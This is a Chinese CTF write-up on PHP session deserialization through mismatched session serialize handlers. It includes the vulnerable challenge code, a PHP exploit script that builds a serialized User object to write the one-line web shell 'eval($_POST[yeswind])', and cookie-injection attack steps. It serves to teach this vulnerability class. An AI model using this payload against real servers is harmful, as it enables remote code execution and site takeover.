session反序列化漏洞
php session处理器
ini_set('session.serialize_handler', 'php_serialize');#开启serialize处理器
ini_set('session.serialize_handler', 'php');#开启php处理器
php_serialize(PHP ≥5.5.4 可用)
接收语句
$_SESSION['uid'] = 123;
$_SESSION['name'] = 'tom';
序列化存储内容
a:2:{s:3:"uid";i:123;s:4:"name";s:3:"tom";}
php php默认的session处理器,可以在php.ini进行修改
接收语句
$_SESSION=['uid'=>123,'name'=>'tom'];
序列化存储内容
uid|i:123;name|s:3:"tom";
session重要特性
session_start();
每次调用都会将对应的session序列字符串内容进行反序列化操作,即内置 unserialize()
漏洞出现点
当序列化session和反序列化session为不同的处理器,则原本对于反序列化处理器而言敏感的字符,可能会越狱,导致危险的反序列化行为出现
例如经过php_serialize序列化处理器的落实,把|作为普通字符,而php处理器解析的时候会把|当做键值的分割点,右侧值会被进行反序列化,从而出现危险效果
具体案例分析:
inc.php代码部分
点击查看代码
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
**危险部分**
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
此处的危险代码部分存在反序列化写入shell可能,注意此处的session处理器为php
index.php
点击查看代码
<?php
error_reporting(0);
session_start();
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
没有指定session处理器,极大可能与inc.php的处理器不同,推测系统处理器为php_serialize
攻击思路
构造在inc.php反序列化时执行写入shell的序列化语句,序列化语句由index.php投放
具体EXP
点击查看代码
<?php
class User{
public $username;
public $password;
public $status=true;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
$a = new User('kill.php', '<?php eval($_POST[yeswind]) ?>');
echo base64_encode('|'.serialize($a));#payload
?>
具体攻击步骤
访问index.php,修改limit为全url编码过后的payload(所有字符都要url编码),再次访问将session写入文件。
接着访问inc.php,会触发__destruct魔术方法,成功写入木马到文件log-kill.php

浙公网安备 33010602011771号